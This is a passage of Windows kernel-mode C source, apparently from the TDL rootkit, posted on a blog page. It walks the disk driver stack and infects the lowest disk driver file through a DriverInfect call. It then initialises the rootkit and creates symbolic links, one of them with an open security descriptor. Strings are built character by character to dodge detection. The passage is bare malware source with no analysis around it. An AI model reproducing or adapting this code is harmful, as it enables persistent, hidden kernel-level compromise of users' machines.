                                                                        if(NT_SUCCESS(ZwOpenFile(&hVolumeDevice,FILE_READ_DATA|SYNCHRONIZE,&oaAttributes,&iosbStatus,FILE_SHARE_READ|FILE_SHARE_WRITE,FILE_SYNCHRONOUS_IO_NONALERT)))
                                                                        {
                                                                                PFILE_OBJECT pfoDriver;
 
                                                                                ntsStatus=STATUS_GRAPHICS_TOO_MANY_REFERENCES;
                                                                                if(NT_SUCCESS(ObReferenceObjectByHandle(hVolumeDevice,SYNCHRONIZE,0,KernelMode,(PVOID*)&pfoDriver,0)))
                                                                                {
                                                                                        WCHAR wcFormatDriverPath[]={L'\\',L's',L'y',L's',L't',L'e',L'm',L'r',L'o',L'o',L't',L'\\',L's',L'y',L's',L't',L'e',L'm',L'3',L'2',L'\\',L'd',L'r',L'i',L'v',L'e',L'r',L's',L'\\',L'%',L's','.',L's',L'y',L's',0};
                                                                                        WCHAR wcPath[MAX_PATH];
                                                                                        HANDLE hDriver;
 
                                                                                        GET_TDL_ADDRESSES->pdoDeviceDisk=((PDEVOBJ_EXTENSION_REAL)pfoDriver->DeviceObject->DeviceObjectExtension)->AttachedTo;
                                                                                        while(((PDEVOBJ_EXTENSION_REAL)GET_TDL_ADDRESSES->pdoDeviceDisk->DeviceObjectExtension)->AttachedTo!=0)
                                                                                        {
                                                                                                GET_TDL_ADDRESSES->pdoDeviceDisk=((PDEVOBJ_EXTENSION_REAL)GET_TDL_ADDRESSES->pdoDeviceDisk->DeviceObjectExtension)->AttachedTo;
                                                                                        }
                                                                                        GET_TDL_ADDRESSES->pdoDriver=GET_TDL_ADDRESSES->pdoDeviceDisk->DriverObject;
                                                                                        _snwprintf(wcPath,RTL_NUMBER_OF(wcPath)-1,wcFormatDriverPath,RtlOffsetToPointer(GET_TDL_ADDRESSES->pdoDriver->DriverName.Buffer,sizeof(L"\\driver\\")-sizeof(WCHAR)));
                                                                                        ntsStatus=DriverInfect(wcPath,GET_TDL_ADDRESSES->pdoDeviceDisk,&hDriver);
                                                                                        if(NT_SUCCESS(ntsStatus))
                                                                                        {
                                                                                                WCHAR wcLinkDriver[]={L'\\',L't',L'd',L'r',L'v',0};
                                                                                                WCHAR wcLinkDevice[]={L'\\',L't',L'd',L'e',L'v',0};
                                                                                                HANDLE hLink;
                                                                                                UNICODE_STRING usLink;
                                                                                                
                                                                                                
                                                                                                SECURITY_DESCRIPTOR sdSecurity;
                                                                                                
                                                                                                RtlCreateSecurityDescriptor(&sdSecurity,SECURITY_DESCRIPTOR_REVISION);
                                                                                                RtlSetDaclSecurityDescriptor(&sdSecurity,TRUE,(PACL)NULL,FALSE);
                                                                                                
                                                                                                GetEPNameOffset();
                                                                                                ntsStatus=((PTDLInit)RtlOffsetToPointer(GET_TDL_ADDRESSES->pvDriverCode,sizeof(TDL_SIGNATURE)+TDL_START_SIZE+(DWORD_PTR)TDLInit-(DWORD_PTR)TDLEntry))(hDriver);
                                                                                                if(NT_SUCCESS(ntsStatus))
                                                                                                {
                                                                                                        RtlInitUnicodeString(&usName,wcLinkDriver);
                                                                                                        RtlInitUnicodeString(&usLink,RtlOffsetToPointer(GET_TDL_ADDRESSES->pdoDriver->DriverName.Buffer,sizeof(L"\\driver\\")-sizeof(WCHAR)));
                                                                                                        InitializeObjectAttributes(&oaAttributes,&usName,OBJ_CASE_INSENSITIVE,0,0);
                                                                                                        ZwCreateSymbolicLinkObject(&hLink,SYMBOLIC_LINK_ALL_ACCESS,&oaAttributes,&usLink);
                                                                                                        
                                                                                                        RtlInitUnicodeString(&usName,wcLinkDevice);
                                                                                                        RtlInitUnicodeString(&usLink,GET_TDL_ADDRESSES->wcFSDevice);
                                                                                                        InitializeObjectAttributes(&oaAttributes,&usName,OBJ_CASE_INSENSITIVE,0,&sdSecurity);
                                                                                                        ZwCreateSymbolicLinkObject(&hLink,SYMBOLIC_LINK_ALL_ACCESS,&oaAttributes,&usLink);
                                                                                                        ObfDereferenceObject(pfoDriver);
                                                                                                        ZwClose(hVolumeDevice);
                                                                                                        ntsStatus=STATUS_SECRET_TOO_LONG;
                                                                                                }
                                                                                        }
                                                                                }
                                                                                break;
                                                                        }
                                                                }
                                                        }
                                                }
                                                ExFreePool(pdbiInfo);
                                        }
                                        ZwClose(hVolumeDirectory);
                                }
                        }
                        ZwClose(hVolumeLink);
                }
        }
        return ntsStatus;
}
EXTERN_C_END
NT_END





  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值